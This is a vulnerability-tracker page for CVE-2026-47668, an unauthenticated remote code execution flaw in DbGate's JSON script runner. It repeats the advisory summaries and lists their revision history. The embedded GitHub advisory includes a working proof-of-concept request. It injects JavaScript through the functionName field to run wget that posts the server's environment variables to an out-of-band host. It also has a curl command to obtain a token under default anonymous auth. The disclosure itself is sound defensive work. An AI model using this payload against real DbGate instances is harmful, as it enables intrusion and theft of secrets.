Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

CVSS 3.1 10.0 CRITICALEUVD CVSS 3.1 10.0 CVSS 3.1 · [email protected] · Secondary 10.0 CRITICALCVSS_V3 Publisher rating CRITICALFixed by dbgate-serve 7.1.9KEV status unknown

cve-program · CVE-2026-47668

Published

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process. Version 7.1.9 contains a patch.

Read the publisher's advisory

euvd · EUVD-2026-48340

Published

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process. Version 7.1.9 contains a patch.

Read the publisher's advisory

nvd · CVE-2026-47668

Published

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process. Version 7.1.9 contains a patch.

Read the publisher's advisory

osv · GHSA-8v3q-9vmx-36vc

Published

### Summary DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process. ### Details #### Step 1: User Input Entry Point **File:** `packages/api/src/controllers/runners.js` - `start()` method The `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts: ```javascript async start({ script }, req) { if (script.type == 'json') { if (!platformInfo.isElectron) { if (!checkSecureDirectoriesInScript(script)) { return { errorMessage: 'Unallowed directories in script' }; } } logJsonRunnerScript(req, script); const js = await jsonScriptToJavascript(script); return this.startCore(runid, scriptTemplate(js, false)); } ``` This path skips: 1. The `run-shell-script` permission check 2. The `allowShellScripting` platform-level check The only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values --- #### Step 2: JSON-to-JavaScript Conversion (Injection Point) **File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method The JSON script's `commands` array contains objects with `type: "assign"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values: ```typescript assignCore(variableName, functionName, props) { this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`); } ``` Both `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code. --- #### Step 3: Function Name Compilation **File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()` Before interpolation, `functionName` passes through this function: ```typescript export function compileShellApiFunctionName(functionName) { const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); if (nsMatch) { return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`; } return `dbgateApi.${functionName}`; } ``` An attacker supplying `functionName: "x;MALICIOUS_CODE;//"` gets: ``` dbgateApi.x;MALICIOUS_CODE;// ``` This is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`. --- #### Step 4: Generated JavaScript Template The complete generated script that gets executed: ```javascript const dbgateApi = require(process.env.DBGATE_API); require = null; async function run() { const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({}); await dbgateApi.finalizer.run(); } dbgateApi.runScript(run); ``` #### Step 5: Execution via child_process.fork() **File:** `packages/api/src/controllers/runners.js` - `startCore()` method The generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules. The `require = null` sandbox can be bypassed via: - `process.mainModule.require()` - separate reference unaffected by the null assignment - `module.constructor._load()` - internal module loader, also unaffected --- #### Additional Injection Points The same unsanitised string interpolation pattern exists in: | Endpoint | Parameter | File | |----------|-----------|------| | `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` | | `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` | | `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` | ### PoC ```http POST /runners/start HTTP/1.1 Host: <dbgate-instance>:3000 Authorization: Bearer <token> Content-Type: application/json { "script": { "type": "json", "commands": [ { "type": "assign", "variableName": "x", "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//", "props": {} } ], "packageNames": [] } } ``` The request to the out of band host was as follows: ```http POST / HTTP/1.1 Host: <out of band host> User-Agent: Wget/1.21.3 Accept: */* Accept-Encoding: identity Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 251 NODE_VERSION=22.22.2 HOSTNAME=4714c7a7405f YARN_VERSION=1.22.22 HOME=/root TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DBGATE_API=/home/dbgate-docker/bundle.js PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c ``` --- A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using: ```bash curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login ``` ### Impact | Scenario | Impact | CVSS Score | CVSS Vector | |----------|--------|--------|--------| | Anonymous auth mode (default deployment) (`authProvider: "Anonymous"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | | Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | ### Timeline | Date | Event | |------|-------| | 2026-03-31 | Vulnerability discovered | | 2026-04-07 | Advisory report prepared and submitted to maintainer | | 2026-04-22 | Fix released (v7.1.9) | | 2026-04-24 | Maintainer acknowledgment | | 2026-05-20 | Public disclosure | ### Acknowledgements - Discovery assisted by Neo from @ProjectDiscovery - Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).

Advisory history

17 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

23 Nov 2026 22:36:55 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

21 Nov 2026 19:23:42 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

19 Nov 2026 18:53:51 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

17 Nov 2026 18:45:59 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

15 Nov 2026 14:06:22 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

13 Nov 2026 13:57:32 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

11 Nov 2026 13:00:28 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

9 Nov 2026 12:02:44 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

7 Nov 2026 11:27:38 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

5 Nov 2026 10:38:08 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

3 Nov 2026 09:57:45 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

1 Nov 2026 09:07:11 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

30 Oct 2026 08:49:26 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

28 Oct 2026 07:08:18 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

euvd · EUVD-2026-48340 · Published

25 Oct 2026 12:17:26 UTC

DbGate is cross-platform database manager. In versions 7.1.8 and prior, DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. Th…

nvd · CVE-2026-47668 · Published

24 Oct 2026 13:17:17 UTC

DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

osv · GHSA-8v3q-9vmx-36vc · Published

23 Oct 2026 15:48:27 UTC

DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

cve-program · CVE-2026-47668 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 24 Nov 04:30 UTC · 272 of 275 readable · 268 fully read · documentation 469/469 current